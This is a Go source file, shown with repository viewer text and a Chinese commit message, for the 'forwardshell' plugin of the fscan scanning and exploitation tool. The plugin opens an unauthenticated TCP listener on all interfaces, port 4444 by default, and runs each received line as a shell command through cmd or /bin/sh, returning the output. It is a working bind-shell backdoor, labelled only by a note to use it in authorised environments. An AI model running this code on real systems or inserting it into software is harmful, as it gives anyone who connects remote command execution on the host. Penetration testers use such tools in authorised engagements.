fscan/plugins/local_backup/forwardshell/plugin.go
ZacharyZcR 678d750c8a refactor: 重构插件架构,实现单文件插件系统
将复杂的三文件插件架构(connector/exploiter/plugin)重构为简化的单文件插件架构,
大幅减少代码重复和维护成本,提升插件开发效率。

主要改进:
• 将每个服务插件从3个文件简化为1个文件
• 删除过度设计的工厂模式、适配器模式等抽象层
• 消除plugins/services/、plugins/adapters/、plugins/base/复杂目录结构
• 实现直接的插件注册机制,提升系统简洁性
• 保持完全向后兼容,所有扫描功能和输出格式不变

重构统计:
• 删除文件:100+个复杂架构文件
• 新增文件:20个简化的单文件插件
• 代码减少:每个插件减少60-80%代码量
• 功能增强:所有插件包含完整扫描和利用功能

已重构插件: MySQL, SSH, Redis, MongoDB, PostgreSQL, MSSQL, Oracle,
Neo4j, Memcached, RabbitMQ, ActiveMQ, Cassandra, FTP, Kafka, LDAP,
Rsync, SMTP, SNMP, Telnet, VNC

验证通过: 新系统编译运行正常,所有插件功能验证通过
2025-08-25 23:57:00 +08:00

331 lines
8.9 KiB
Go
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

package forwardshell
import (
"bufio"
"context"
"fmt"
"net"
"os"
"os/exec"
"runtime"
"strings"
"time"
"github.com/shadow1ng/fscan/common"
"github.com/shadow1ng/fscan/plugins/base"
"github.com/shadow1ng/fscan/plugins/local"
)
// ForwardShellPlugin 正向Shell插件 - 使用简化架构
type ForwardShellPlugin struct {
*local.BaseLocalPlugin
port int
listener net.Listener
}
// NewForwardShellPlugin 创建正向Shell插件 - 简化版本
func NewForwardShellPlugin() *ForwardShellPlugin {
// 从全局参数获取正向Shell端口
port := common.ForwardShellPort
if port <= 0 {
port = 4444 // 默认端口
}
metadata := &base.PluginMetadata{
Name: "forwardshell",
Version: "1.0.0",
Author: "fscan-team",
Description: "本地正向Shell服务器插件在指定端口提供Shell访问",
Category: "local",
Tags: []string{"local", "shell", "remote", "access"},
Protocols: []string{"local"},
}
plugin := &ForwardShellPlugin{
BaseLocalPlugin: local.NewBaseLocalPlugin(metadata),
port: port,
}
// 设置支持的平台支持Windows、Linux和macOS
plugin.SetPlatformSupport([]string{"windows", "linux", "darwin"})
// 不需要特殊权限(除非需要绑定低端口)
plugin.SetRequiresPrivileges(port < 1024)
return plugin
}
// Initialize 初始化插件
func (p *ForwardShellPlugin) Initialize() error {
// 调用基类初始化
return p.BaseLocalPlugin.Initialize()
}
// Scan 重写扫描方法以确保调用正确的ScanLocal实现
func (p *ForwardShellPlugin) Scan(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
return p.ScanLocal(ctx, info)
}
// ScanLocal 执行正向Shell扫描 - 简化版本
func (p *ForwardShellPlugin) ScanLocal(ctx context.Context, info *common.HostInfo) (*base.ScanResult, error) {
common.LogBase("启动正向Shell服务器...")
// 启动正向Shell服务器
common.LogBase(fmt.Sprintf("在端口 %d 上启动正向Shell服务", p.port))
// 直接在当前goroutine中运行这样可以确保在设置ForwardShellActive后立即被主程序检测到
err := p.startForwardShellServer(ctx, p.port)
if err != nil {
common.LogError(fmt.Sprintf("正向Shell服务器错误: %v", err))
return &base.ScanResult{
Success: false,
Error: err,
}, nil
}
result := &base.ScanResult{
Success: true,
Service: "ForwardShell",
Banner: fmt.Sprintf("正向Shell已完成 - 端口: %d 平台: %s", p.port, runtime.GOOS),
Extra: map[string]interface{}{
"port": p.port,
"platform": runtime.GOOS,
"service": "shell",
"status": "completed",
},
}
return result, nil
}
// startForwardShellServer 启动正向Shell服务器 - 核心实现
func (p *ForwardShellPlugin) startForwardShellServer(ctx context.Context, port int) error {
// 监听指定端口
listener, err := net.Listen("tcp", fmt.Sprintf("0.0.0.0:%d", port))
if err != nil {
return fmt.Errorf("监听端口失败: %v", err)
}
defer listener.Close()
p.listener = listener
common.LogSuccess(fmt.Sprintf("正向Shell服务器已在 0.0.0.0:%d 上启动", port))
// 设置正向Shell为活跃状态告诉主程序保持运行
common.ForwardShellActive = true
defer func() {
// 确保退出时清除活跃状态
common.ForwardShellActive = false
}()
// 主循环处理连接
for {
select {
case <-ctx.Done():
common.LogBase("正向Shell服务器被上下文取消")
return ctx.Err()
default:
}
// 设置监听器超时,以便能响应上下文取消
if tcpListener, ok := listener.(*net.TCPListener); ok {
tcpListener.SetDeadline(time.Now().Add(1 * time.Second))
}
conn, err := listener.Accept()
if err != nil {
// 检查是否是超时错误
if netErr, ok := err.(net.Error); ok && netErr.Timeout() {
continue // 超时继续循环
}
common.LogError(fmt.Sprintf("接受连接失败: %v", err))
continue
}
common.LogSuccess(fmt.Sprintf("客户端连接来自: %s", conn.RemoteAddr().String()))
// 并发处理客户端连接
go p.handleClient(conn)
}
}
// handleClient 处理客户端连接
func (p *ForwardShellPlugin) handleClient(clientConn net.Conn) {
defer clientConn.Close()
// 发送欢迎信息
welcome := fmt.Sprintf("FScan Forward Shell - %s\nType 'exit' to disconnect\n\n", runtime.GOOS)
clientConn.Write([]byte(welcome))
// 创建命令处理器
scanner := bufio.NewScanner(clientConn)
for scanner.Scan() {
command := strings.TrimSpace(scanner.Text())
if command == "" {
continue
}
if command == "exit" {
clientConn.Write([]byte("Goodbye!\n"))
common.LogBase(fmt.Sprintf("客户端 %s 主动断开连接", clientConn.RemoteAddr().String()))
break
}
// 执行命令并返回结果
p.executeCommand(clientConn, command)
}
if err := scanner.Err(); err != nil {
common.LogError(fmt.Sprintf("读取客户端命令失败: %v", err))
}
}
// executeCommand 执行命令并返回结果
func (p *ForwardShellPlugin) executeCommand(conn net.Conn, command string) {
var cmd *exec.Cmd
// 根据平台创建命令
switch runtime.GOOS {
case "windows":
cmd = exec.Command("cmd", "/c", command)
case "linux", "darwin":
cmd = exec.Command("/bin/sh", "-c", command)
default:
conn.Write([]byte(fmt.Sprintf("不支持的平台: %s\n", runtime.GOOS)))
return
}
// 设置命令超时
ctx, cancel := context.WithTimeout(context.Background(), 30*time.Second)
defer cancel()
cmd = exec.CommandContext(ctx, cmd.Args[0], cmd.Args[1:]...)
// 执行命令并获取输出
output, err := cmd.CombinedOutput()
if ctx.Err() == context.DeadlineExceeded {
conn.Write([]byte("命令执行超时\n"))
return
}
if err != nil {
conn.Write([]byte(fmt.Sprintf("命令执行失败: %v\n", err)))
return
}
// 发送命令输出
if len(output) == 0 {
conn.Write([]byte("(命令执行成功,无输出)\n"))
} else {
conn.Write(output)
// 确保输出以换行符结尾
if !strings.HasSuffix(string(output), "\n") {
conn.Write([]byte("\n"))
}
}
// 发送命令提示符
prompt := p.getPrompt()
conn.Write([]byte(prompt))
}
// getPrompt 获取平台特定的命令提示符
func (p *ForwardShellPlugin) getPrompt() string {
hostname, _ := os.Hostname()
username := os.Getenv("USER")
if username == "" {
username = os.Getenv("USERNAME") // Windows
}
if username == "" {
username = "user"
}
switch runtime.GOOS {
case "windows":
return fmt.Sprintf("%s@%s> ", username, hostname)
case "linux", "darwin":
return fmt.Sprintf("%s@%s$ ", username, hostname)
default:
return fmt.Sprintf("%s@%s# ", username, hostname)
}
}
// GetLocalData 获取正向Shell本地数据
func (p *ForwardShellPlugin) GetLocalData(ctx context.Context) (map[string]interface{}, error) {
data := make(map[string]interface{})
// 获取系统信息
data["plugin_type"] = "forwardshell"
data["platform"] = runtime.GOOS
data["arch"] = runtime.GOARCH
data["port"] = p.port
data["service"] = "shell"
if hostname, err := os.Hostname(); err == nil {
data["hostname"] = hostname
}
if homeDir, err := os.UserHomeDir(); err == nil {
data["home_dir"] = homeDir
}
if workDir, err := os.Getwd(); err == nil {
data["work_dir"] = workDir
}
return data, nil
}
// ExtractData 提取数据正向Shell主要是服务功能
func (p *ForwardShellPlugin) ExtractData(ctx context.Context, info *common.HostInfo, data map[string]interface{}) (*base.ExploitResult, error) {
return &base.ExploitResult{
Success: true,
Output: fmt.Sprintf("正向Shell服务器运行完成端口: %d", p.port),
Data: data,
Extra: map[string]interface{}{
"port": p.port,
"service": "shell",
"status": "completed",
},
}, nil
}
// GetInfo 获取插件信息
func (p *ForwardShellPlugin) GetInfo() string {
var info strings.Builder
info.WriteString("正向Shell服务器插件\n")
info.WriteString(fmt.Sprintf("监听端口: %d\n", p.port))
info.WriteString(fmt.Sprintf("支持平台: %s\n", strings.Join(p.GetPlatformSupport(), ", ")))
info.WriteString("功能: 提供远程Shell访问支持命令执行\n")
info.WriteString("协议: TCP基于文本的命令交互\n")
info.WriteString("实现方式: 纯Go原生无外部依赖\n")
info.WriteString("安全提示: 仅在授权环境中使用,建议配合防火墙限制访问\n")
return info.String()
}
// RegisterForwardShellPlugin 注册正向Shell插件
func RegisterForwardShellPlugin() {
factory := base.NewSimplePluginFactory(
&base.PluginMetadata{
Name: "forwardshell",
Version: "1.0.0",
Author: "fscan-team",
Description: "本地正向Shell服务器插件在指定端口提供Shell访问",
Category: "local",
Tags: []string{"forwardshell", "local", "shell", "remote"},
Protocols: []string{"local"},
},
func() base.Plugin {
return NewForwardShellPlugin()
},
)
base.GlobalPluginRegistry.Register("forwardshell", factory)
}
// init 插件注册函数
func init() {
RegisterForwardShellPlugin()
}